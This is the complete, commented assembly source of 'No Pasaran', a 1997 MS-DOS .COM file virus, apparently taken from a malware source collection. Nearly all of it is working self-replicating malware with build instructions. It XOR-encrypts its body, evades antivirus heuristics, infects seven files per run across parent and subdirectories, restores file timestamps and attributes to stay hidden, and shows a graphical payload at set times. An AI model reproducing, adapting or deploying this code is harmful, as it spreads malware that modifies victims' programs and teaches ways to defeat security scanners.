MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.nopasara.asm
2021-01-12 17:52:14 -06:00

668 lines
26 KiB
NASM

; NO PASARAN virus version 2 by Spanska
; Called Spanska.1000 by AV people
; This is my first virus
;
;***********************************************************************
;
; This virus is dedicated to all spanish and international young
; guys who fighted against fascist army during Spanish Civil War
; (1936-1939). They said "THEY SHALL NOT PASS!"
;
;********************************contact me at el_gato@rocketmail.com***
;
; No flag with TBSCAN
; At the time it was released (january 97), was not detected by
; TBSCAN, FPROT, AVP, DrSolly FINDVIRUS in heuristic mode
; but by DrWeb in heuristic mode (i didn't know this program...)
;
; generation zero size: 3537 bytes
; virus size: 1000 bytes
;
; Compile it with TASM /m2 and TLINK /t
;
; Properties:
; simple .com runtime infector
; not destructive
; encrypted with variable key
; infects 7 files each run
; infects current directory, than upper directories
; when it reaches the root, it starts infecting all "level1" subdirectories
; doe not infect files >60,000 or <100 bytes, nor command.com
; the VGA graphic bomb (a fire effect) explodes when minutes=22
; and seconds<30 (1/120)
code segment
assume ds:code, ss:code, cs:code, es:code
org 100h
;
;---------------fake host code--------------------
;
hote:
call virus ;jump to viral code (avoid J flag)
signature db "lc" ;virus signature
nop ;
nop ;fake host
nop ;
nop ;
mov ah, 4ch ;finished
mov al,0 ;go to
int 21h ;DOS
;**********************************************************************
; START OF VIRAL CODE
;**********************************************************************
virus: ;virus starts here
jmp evite ;avoid next routine
;=== simulation of a stosb ===
;=== when outside decrypt loop ===
;=== do not flag # ===
baise_flag_cryptage: ;===
mov [di], al ;=========>>> NO MORE FLAG "#" !!!!!
inc di ;===
ret ;===
;===================================
;
;---------------get delta offset----------------------------
;
evite:
call $+3 ;modified classic
delta: ;routine to
mov bp, sp ;avoid flag E
mov ax, [bp] ;
add word ptr [bp], decrypte-delta ;thanks Slacker's Theory
sub ax, offset delta ;of Code through Obscurity!
mov bp, ax
ret
;
;----------------------decrypting routine-------------------------
;
decrypte:
mov dl, [bp+offset clef] ;get actual key
mov cx, fin_cryptage - debut_cryptage ;
lea si, [bp+offset debut_cryptage] ;
mov di, si ;
xor_loop: ;decrypt loop
mov al, [si] ;
inc si ;
xor al, dl ;
call baise_flag_cryptage ;call the fake stosb to avoid flag #
loop xor_loop
;
;-----initialization to 0 of both infection and directory counters--------
;
debut_cryptage: ;crypted zone starts here
mov byte ptr [bp+offset compteur], 0 ;infection counter
mov byte ptr [bp+offset phase], 0 ;directory counter
;
;-----------------------remember current repertory-----------------------
;
lea si, [bp+offset repert] ;
xor dl, dl ;
mov ah, 47h ;
int 21h ;
;
;-----------------DTA go to a predefined zone in memory------------------
;
push 1a00h ;push/pop to
pop ax ;avoid flag F
lea dx, [bp+offset dta] ;
int 21h ;
;
;------------------------find first file---------------------------------
;
recherche:
mov cx, 0007h ;
lea dx, [bp+offset file_type] ;
mov ax, 4e00h ;
int 21h ;file found?
jnc sauter_suivant ;yes => c=0, let's continue
jmp rep_sup ;no => go to upper directory
;
;---------------------------find next file--------------------------------
;
fichier_suivant:
lea dx, [bp+offset file_type] ;
mov ax, 4f00h ;
mov cx, 0007h ;
int 21h ;file found?
jnc saut5 ;yes => c=0, let's continue
jmp rep_sup ;no => go to upper direcory
saut5:
;
;---------------verify if extension is really .com---------------------
; (it's made to avoid flag S with tbscan)
; (and to avoid AVP detection 'cause AVP detects all combinations
; like .c?m, .?om..., BUT .c*)
;
sauter_suivant:
mov cx, 13d ;max size of a file name (not really, but
lea si, [bp+offset dta+1eh] ;who cares? I've stolen this routine somewhere)
compare: ;loop for detecting start of the extension
lodsb ;letter in al
cmp al, "." ;is it a point?
jne compare ;no => test next letter
inc si ;yes => si points on second extension letter
cmp word ptr [si], "MO" ;second and third letters are "OM"?
jne fichier_suivant ;no => find next file
;
;-------------------verify if it's command.com----------------------------
;
cmp word ptr [bp+offset dta+1eh+2], "MM"
je fichier_suivant ;yes => find next file
;
;------------attributes to 0 to infect special files---------------------
;
lea dx, [bp+offset dta+1eh] ;file name pointed with dx
push 4301h ;push/pull to
pop ax ;avoid flag F
xor cx, cx ;
int 21h ;
;
;---------------------------open file------------------------------------
;
mov ax, 3D02h ;
lea dx, [bp+offset dta+1eh] ;
int 21h ;file found?
jnc saut2 ;yes => c=0, let's continue
jmp remise_en_etat ;no => arrange file and close it
saut2: ;
mov [bp+offset handle],ax ;
;
;-----------------read 5 first bytes of the file---------------------
;
xchg ax, bx ;
mov cx, 5 ;
mov ax, 3F00h ;
lea dx, [bp+offset contenu] ;bytes go to "contenu" zone
int 21h ;file found?
jnc saut3 ;yes => c=0, let's continue
jmp remise_en_etat ;no => arrange file and close it
saut3: ;
;
;------------------is the file already infected?-----------------------
;
cmp word ptr [bp+offset contenu+3], "cl" ;compare with signature
jnz saut4 ;not infected => z=0, let's continue
jmp remise_en_etat ;already infected => arrange file and close
saut4: ;
;
;-----------------------is the size correct?---------------------------
;
cmp word ptr [bp+offset dta+1ah], 60000 ;compare size with 60000
jna pas_trop_gros ;is it bigger?
jmp remise_en_etat ;yes => find next file
pas_trop_gros: ;no => other verification
cmp word ptr [bp+offset dta+1ah], 100 ;compare size with 100
jnb verif_ok ;if >100 let's continue
;
;--------arrange file and close it in case of non-infection-------------
;
remise_en_etat:
mov ah, 3Eh ;
int 21h ;close it
;
;------------------restore attributes-----------------------------------
;
lea dx, [bp+offset dta+1eh] ;
xor ch, ch ;
mov cl, byte ptr [bp+offset dta+15h] ;attributes are still in the DTA
push 4301h ;push/pop to
pop ax ;avoid flag F
int 21h ;
;
;----------after arranging the file, let's find another one-------------
;
jmp fichier_suivant ;go to find-next routine
;
;-------------------disk file pointer at the end-------------------
;
verif_ok:
mov ax, 4202h ;
xor cx, cx ;
mov dx, cx ;
int 21h ;
;
;----------------------infection routine------------------------------
;
;first, let's write non-encrypted part
;
mov ax, 4000h ;
mov cx, debut_cryptage - virus ;
lea dx, [bp+offset virus] ;
int 21h ;
;
;second, let's crypt next part in memory
;
mov cl, [bp+offset cinq_octets+1] ;cl=new key
mov byte ptr [bp+offset clef_temp], cl ;on a temporary zone
lea si, [bp+offset debut_cryptage] ;si=start of the crypted zone
lea di, [bp+offset zone_de_travail] ;di=temporary mem zone for crypting
xchg cl, dl ;key in dl
mov cx, fin_cryptage - debut_cryptage ;cx=number of bytes to crypt
crypte_et_transfere: ;
lodsb ;
xor al, dl ;classic XOR crypting loop
stosb ;
loop crypte_et_transfere ;
;
;third, disk writing of the crypted zone
;
mov ax, 4000h ;
mov cx, fin_cryptage - debut_cryptage ;number of bytes to write
lea dx, [bp+offset zone_de_travail] ;
int 21h ;
;
;------write on disk real 5 first bytes of the file+new crypt key--------
;----from "contenu" zone in memory to "cinq_octets" zone on the disk)----
;
;1) move disk file pointer to good zone
;
xor cx, cx ;
mov dx, word ptr [bp+offset dta+1ah] ;non-infected file size in dx
add dx, cinq_octets - virus ;add offset of good zone
mov ax, 4200h ;
int 21h ;
;
;2) move memory pointer to good zone, and transfer
;
mov cx, 6 ;we will write 6 bytes
lea dx, [bp+offset contenu] ;("contenu" + "clef_temp")
push 4000h ;so 5 first bytes + new key
pop ax ;this push/pop is not necessary
int 21h ;
;
;--overwrite 5 first bytes on the disk by jump to virus code + signature---
;
;1) move disk file pointer to start of the file
;
xor cx,cx ;
mov dx, cx ;
mov ax, 4200h ;
int 21h ;
;
;2) calculate initial jump and write all on a temp zone in memory
;(NB: we use the "contenu" memory zone which is not more util)
;
mov byte ptr [bp+offset contenu], 0e8h ;E8=opcode of CALL
mov ax, word ptr [bp+offset dta+1ah] ;ax=file size
sub ax, 3 ;this is because of the CALL
mov word ptr [bp+offset contenu+1], ax ;write deplacement
mov word ptr [bp+offset contenu+3], "cl" ;write signature
;
;3) overwrite 5 first bytes on the file
;
mov cx,5 ;
lea dx, [bp+offset contenu] ;
mov ax, 4000h ;
int 21h ;
;
;-------------------restore time/date of the file------------------------
;
mov dx, word ptr [bp+offset dta+18h] ;date in dx
mov cx, word ptr [bp+offset dta+16h] ;time in cx
push 5701h ;push/pop
pop ax ;to avoid flag F
int 21h ;
;
;-----------------------------close file---------------------------------
;
mov ah, 3Eh ;
int 21h ;
;
;------------------------restore file attributes-----------------------
;
lea dx, [bp+offset dta+1eh] ;
xor ch, ch ;
mov cl, byte ptr [bp+offset dta+15h] ;attributes are still in DTA
push 4301h ;
pop ax ;
int 21h ;
;
;--------------verify how many files we have infected------------------
;
mov byte ptr cl, [bp+offset compteur] ;infection counter in cl
inc cl ;one more
cmp cl, 7 ;have we infected 7 files?
je attendre ;yes => let's stop
mov byte ptr [bp+offset compteur], cl ;no => write new value of counter
;
;-----------------------let's infect a new file-------------------------
;
jmp fichier_suivant ;infect next file
;
;---------------------climb to upper directory--------------------------
;
rep_sup:
lea dx, [bp+offset dot] ;let's go to ".." repertory
mov ah, 3bh ;
int 21h ;are we in the root?
jc on_redescend ;yes => c=1, let's go down now
jmp recherche ;no => find first file
;
;---if we are in root, let's go to all "first-level" subdirectories-----
;
on_redescend: ;
mov ah, 4eh ;find first file
mov cx, 16 ;with repertory attribute
lea dx, [bp+offset dir_masque] ;called "*.*"...
int 21h ;
jc attendre ;there are no subdirectory => stop
cmp byte ptr[bp+offset phase], 0 ;how is the dir counter (called phase)?
je le_premier ;phase=0 => do not find next dir
xor bh, bh ;
mov bl, byte ptr [bp+offset phase] ;bx=phase
rep_suivant: ;loop to avoid all subdir already infected
mov cx, 16 ;rep attributes
mov ah, 4fh ;find next dir
lea dx, [bp+offset dir_masque] ;
int 21h ;
jc attendre ;there are no subdirectory => stop
cmp byte ptr [bp+offset dta+15h], 16 ;is it really a directory?
jne rep_suivant ;no => find next
dec bx ;this routine is made to infect
cmp bx, 0 ;directory "number phase"
jne rep_suivant ;if bx<>0, the subdir is already infected
le_premier:
add byte ptr[bp+offset phase], 1 ;OK, we are on a subdir not infected
lea dx, [bp+offset dta+1eh] ;so, let's change
mov ah, 3bh ;directory to it
int 21h ;
jmp recherche ;and infect this new subdirectory
;
;-----in case of problem, or no more directory to infect, we go here------
;
attendre: ;
;
;------------------DTA in the normal zone-----------------------------
; (to avoid perturbing host program)
;
push 1a00h ;push/pop
pop ax ;to avoid flag F
mov dx, 80h ;to 80h, the normal zone
int 21h ;
;
;------restore the directory in which we were when we started-------------
;
;primo, rapid climb until the root
;
remontee_finale:
lea dx, [bp+offset dot] ;
mov ah, 3bh ;
int 21h ;
jnc remontee_finale ;continue until we are in the root
;
;secundo, we go to the directory in which we were at start
;
lea dx, [bp+offset repert] ;we saved the dir in this zone
mov ax, 3B00h ;change dir
int 21h ;
;
;------replace 5 first bytes of the host in memory----------
;
lea si, [bp+offset cinq_octets] ;original 5 bytes were stored here
mov ax, 101h ;classic trick to
dec ax ;avoid flag B
mov di, ax ;100h in DI for transfer
mov cx, 5 ;write 5 bytes
rep movsb ;transfer them
;
;--------------------does the bomb explode?---------------------
;
mov ah, 2Ch ;internal clock: ch=hour et cl=minute
int 21h ;
cmp cl, 22d ;minutes = 22?
jne redonner_la_main ;no => return to host
cmp dh, 30d ;yes => test seconds
jb bombe ;if seconds <30 (1/120) the bomb explodes
;
;-----------------------return to host----------------------------
; (remember the very first CALL: we have 103h on the stack)
;
redonner_la_main:
pop ax ;get 103h
sub ax, 3 ;we want 100h
push ax ;re-put it on stack (for the RET)
xor ax, ax ;a starting program
xor bx, bx ;likes to find all
xor cx, cx ;registers equals
xor dx, dx ;to zero.
ret ;on redonne la main au pauvre programme
nop
nop ;just for fun: with these 3 nops, virus size is just 1000.
nop
;
;**********************************************************************
; CODE OF THE GRAPHIC BOMB: A FIRE EFFECT
;**********************************************************************
bombe:
;--------------------------------VGA-----------------------------------
mov ax, 13h ;
int 10h ;goto graphic mode
;------initialisation of the flame palette (black=>red=>white)----------
mov dx, 3c8h ;dx = palette port
xor al, al ;starting with color 0
out dx, al ;write first color in the port
inc dx ;define all colors
xor cx, cx ;component red start from 0 and augment
rouges: ;let's define colors from 0 to 62
mov al, cl ;first component (red) equal to cl
out dx, al ;write on palette port
xor al, al ;others components (blue, green) to zero
out dx, al ;write blue component
out dx, al ;write green component
inc cx ;increment red component of color
cmp cx, 63 ;do cx reach 63?
jne rouges ;no => continue loop
xor cx, cx ;component blue start from 0 and augment
jaunes: ;let's define colors from 63 to 125
mov al, 63 ;component red equal to 63
out dx, al ;write it
mov al, cl ;second component (blue) equal to cl
out dx, al ;write it
xor al, al ;third component (green) equal to zero
out dx, al ;write it
inc cx ;increment blue component of color
cmp cx, 63 ;do cx reach 63?
jne jaunes ;no => continue loop
xor cx, cx ;component green start from 0 and augment
blancs: ;let's define colors from 126 to 188
mov al, 63 ;components red and blue equal to 63
out dx, al ;write red component
out dx, al ;write blue component
mov al, cl ;third component (green) equal to cl
out dx, al ;write it
inc cx ;increment green component of color
cmp cx, 63 ;do cx reach 63?
jne blancs ;no => continue loop
mov cx, 198 ;we're going to define 198/3=66 next colors
blancfin: ;let's define colors from 189 to 254
mov al, 255 ;all components are maximum
out dx, al ;so these colors are white
loop blancfin ;
xor al, al ;define last color (number 255)
mov cx, 3 ;in black so we do not see the
rep out dx, al ;focus at the bottom of the flame
;------------draw some focus at the bottom at random places--------------
mov ax, 0a000h ;video mem
mov es, ax ;segment in es
boucle:
mov di, (320*199)+5 ;start line 199, 5 pixels from the left side
foyers:
call random ;bring back a random dl between 0 and 255
cmp dl, 180 ;dl>180?
jb noir ;no => no focus, color to black
mov dl, 255 ;yes => a focus, color to white
jmp blanc ;avoid "no focus" routine
noir:
xor dl, dl ;no focus, color to black
blanc:
mov al, dl ;load al with color
mov cx, 5 ;focuses are 5 pixels long
zobi:
stosb ;draw focus pixel
add di, 319 ;and draw another pixel
stosb ;under the first
sub di, 320 ;(more beautiful)
loop zobi
cmp di, (320*199)+30 ;the torch will be 30 pixels wide
jb foyers ;focus line not finished, so loop
;--------real screen--->modification--->virtual screen------------------
mov di, 320*120 ;we use just the 80 bottom lines
lea si, [bp+offset ecran_virtuel] ;memory zone for calculations
mov dx, 80 ;line loop: 80 repetitions
xor ax, ax ;we gonna use ax, so put zero
ecran: ;start of line loop
mov cx, 30 ;column loop: 30 repetitions
modif: ;start of column loop
mov al, es:[di] ;in al, color of current pixel
add al, es:[di+320] ;add pixel color just under it
adc ah, 0 ;result may be >255, so add carry
add al, es:[di+319] ;add pixel color under it to the left
adc ah, 0 ;add carry
add al, es:[di+641] ;add pixel 2 lines under it to the right
adc ah, 0 ;add carry
shr ax, 1 ;calculate the average color of these
shr ax, 1 ;4 pixels, dividing ax by 4
cmp al, 0 ;is this average value black?
je bitnoir ;yes => do not decrement color
dec al ;no => decrement color
bitnoir:
mov ds:[si], al ;write pixel with new color on memory
inc si ;next pixel on memory (virtual screen)
inc di ;next pixel on screen (real screen)
loop modif ;finish the line
add di, (320-30) ;on screen, go to first pixel of next line
dec dx ;dx = line counter, decrement it
cmp dx, 0 ;are we to the bottom of the screen?
jne ecran ;no => let's go to next line
;----------------virtual screen--->real screen-------------------------
mov di, (320*120) ;di points to line 120 on real screen
lea si, [bp+offset ecran_virtuel] ;si points to start of virtual screen
xor dx, dx ;line counter to zero
deux_flammes:
mov cx, 30 ;copy one line to the
rep movsb ;left side of the screen
sub si, 30 ;virtual: rewind to the start of the same line
add di, 230 ;real: draw the second torch at column 230+30+5
mov cx, 30 ;copy the same line to the
rep movsb ;right side of the screen
add di, 30 ;real: start next line (NB: 295+30=320+5)
inc dx ;increment line counter
cmp dx, 79 ;copy 78 lines
jne deux_flammes
;--------------put text cursor at line 5, column 1----------------------
mov dx, 0501h ;dh=line, dl=column
xor bh, bh ;page zero
mov ah,02h ;put cursor to position DH, DL
int 10h ;BIOS screen int
;--------------------write text message on screen-----------------------
mov ah, [bp+offset clignote] ;blink counter in ah
inc ah ;increment it
mov [bp+offset clignote], ah ;put it back to its place
cmp ah, 128 ;compare it to 128 (alternance time 50/50)
ja second_message ;inferior => write second message
lea si, [bp+offset message] ;superior => write first message
jmp premier_message ;and avoid second message
second_message: ;
lea si, [bp+offset message2] ;now write second message
premier_message:
mov cx, 36 ;message lenght
affiche_message:
lodsb ;load letter in al
mov bl, 254 ;and color in bl (white)
mov ah, 0Eh ;
int 10h ;write this letter on screen
loop affiche_message
jmp boucle ;return to step "draw focus"
;-----------random number creation routine (stolen somewhere)--------------
random proc near
mov ax, [bp+offset aleat]
mov dx, 8405h
mul dx
inc ax
mov [bp+offset aleat], ax
ret
random endp
;--------------memory zones of the graphic effect------------------------
message db " Remember those who died for Madrid " ;message 1
message2 db "No Pasaran! Virus v2 by Spanska 1997" ;message 2
clignote db 00 ;blink counter
aleat dw 0AAh ;random seed
;
;-------------------memory zones of the virus----------------------------
;
dir_masque db "*.*",0 ;mask to find subdirectories
file_type db "*.c*",0 ;mask to find file type
dot db "..",0 ;mask to find upper directory
fin_cryptage: ;end of crypting
cinq_octets db 5 dup(90h) ;5 first bytes of host
clef db 0 ;crypt key
;
;--------these temporary memory zones are not written on disk------------
;
phase db 0 ;to find the good subdirectories
compteur db 0 ;infection counter
handle db 0,0 ;file handle
contenu db 0,0,0,0,0 ;to read 5 first bytes of a file
clef_temp db 0 ;crypt key
dta db 48 dup (0AAh) ;DTA zone
repert db 64 dup (0FFh) ;starting directory
ecran_virtuel db 80*30 dup (00) ;virtual screen
zone_de_travail: ;used to crypt virus
code ends
end hote
; ------------------------(c) Spanska 1997------------------------------